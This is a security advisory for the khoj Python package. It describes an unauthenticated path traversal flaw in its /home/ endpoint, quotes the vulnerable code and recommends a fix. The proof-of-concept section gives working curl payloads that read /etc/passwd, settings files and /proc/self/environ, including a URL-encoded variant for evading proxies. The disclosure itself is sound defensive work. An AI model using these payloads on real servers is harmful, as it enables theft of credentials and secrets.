GHSA-62mm-xwmv-crhg khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem

• PyPI khoj: >= 2.0.0-beta.23, < 2.0.0-beta.25 → fixed in 2.0.0-beta.25

Summary The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem. Details Vulnerable code — `src/khoj/routers/web_client.py` lines 46-49: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): """Serve static files from the home landing page directory""" return FileResponse(constants.home_directory / file_path) ``` Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6: ```python home_directory = web_directory / "home/" ``` What is missing: • No `..` traversal filtering • No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`) • No authentication decorator (`@requires(["authenticated"])` is absent) • Starlette's `FileResponse` does NOT perform path traversal protection Path resolution: ``` Request: GET /home/../../../../../../../etc/passwd file_path = "../../../../../../../etc/passwd" home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd OS resolves to: /etc/passwd ``` PoC ```bash Read /etc/passwd (no authentication required) curl http://localhost:42110/home/../../../../../../../etc/passwd Read application settings (may contain SECRET_KEY, DB credentials) curl http://localhost:42110/home/../../../../settings.py Read environment file curl http://localhost:42110/home/../../../../../../../proc/self/environ ``` URL-encoded variant (may bypass some reverse proxy normalization): ```bash curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` Impact Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can: • Read application configuration — Django `SECRET_KEY`, database credentials, API keys • Read system files — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ` • Exfiltrate sensitive data — Any file readable by the server process • Facilitate further attacks — Leaked credentials enable deeper compromise No authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker. Recommended fix Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): resolved = (constants.home_directory / file_path).resolve() if not resolved.is_relative_to(constants.home_directory.resolve()): raise HTTPException(status_code=404) return FileResponse(resolved) ```